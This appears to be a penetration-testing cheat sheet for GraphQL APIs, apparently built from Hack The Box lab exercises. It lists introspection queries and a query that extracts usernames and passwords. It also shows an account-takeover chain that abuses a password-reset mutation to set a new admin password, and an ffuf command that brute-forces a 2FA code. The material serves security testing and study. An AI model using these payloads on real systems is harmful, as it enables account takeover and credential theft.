GraphQL

Data query and manipulation language for APIs

  • Uses HTTP/HTTPS, typically over POST requests.

  • JSON-based queries and responses.

  • Typically uses a single endpoint for all operations.

  • Apollo Server commonly uses port 4000 as its default when started without configuration.

  • Express-based GraphQL servers frequently use port 3000, simply because that's the default for many Express setups.

  • Introspection allows clients to query the API schema for available operations and data types.

Fuzzing Tips
  • Test Query Depth and Complexity: Check server limits on nested or complex queries to prevent performance issues.

  • Validate Input Types and Arguments: Test inputs with invalid data to identify validation weaknesses.

  • Examine Query Aliasing and Batching: Test for data leaks via aliased queries and batched requests.

  • Check for Introspection Misuse: Ensure introspection doesn't expose sensitive or unnecessary schema details.

  • Assess Authorization Controls: Confirm proper enforcement of access controls for queries and operations.

  • Evaluate Rate Limiting: Ensure the API handles excessive or malicious requests effectively.

  • Fuzz Mutations: Test for security and validation flaws in mutation operations.

Introspection Queries
Query All types in the Schema
?query={__schema{types{name}}}
Reveals all available types, fields, arguments, and their descriptions
{
"query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}"
}
Queries all fields defined under the Query type:
?query={__type(name:"Query"){fields{name,description}}}
Fetches the fields of the User type:
?query={__type(name:"User"){fields{name,type{name,kind},description}}}
Fetches details about args for each field of the User type:
?query={__type(name:"User"){fields{name,type{name,kind},description,args{name,type{name,kind}}}}}
Data Queries
Queries the actual user object for its username and password fields.
?query=query{user{username,password}}
Mutations

Account takeover (ATO)

Requests a password reset token
{
"query": "mutation GetAdminResetToken { devForgotPassword(email: "admin@speednet.htb") }"
}
This mutation resets the admin password using a previously obtained token
{
"query": "mutation ChangeAdminPassword { resetPassword(token: "ff598eb2-60a0-465a-adab-93bbbfbbebe9", newPassword: "tokyo") }"
}
Brute-forces a 2FA OTP
ffuf -w wordlist.txt -X POST -H "Content-Type: application/json" -d '{"query":"mutation VerifyTwoFactor($token: String!, $otp: String!) { verifyTwoFactor(token: $token, otp: $otp) { token user { id email firstName lastName address phoneNumber twoFactorAuthEnabled } } }","variables":{"token":"3c9886d6-69bf-4240-a750-0255b3fcf663","otp":"FUZZ"}}' -u "http://94.237.61.242:45385/graphql"
Curl Commands
Read all entries
curl -s http://<SERVER_IP>:<PORT>/api.php/city/ | jq
curl -X POST -H "Content-Type: application/json" -d '{"query":"YOUR_QUERY_HERE"}' http:///graphql
POST + Cookie
curl -X POST -d '{"search":"london"}' -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' -H 'Content-Type: application/json' http://www.example.net:PORT/search.php
Create Entry
curl -X POST http://<SERVER_IP>:<PORT>/api.php/city/ -d '{"city_name":"HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json'
Update Entry
curl -X PUT http://<SERVER_IP>:<PORT>/api.php/city/london -d '{"city_name":"New_HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json'
Delete Entry
curl -X DELETE http://<SERVER_IP>:<PORT>/api.php/city/New_HTB_City

Last updated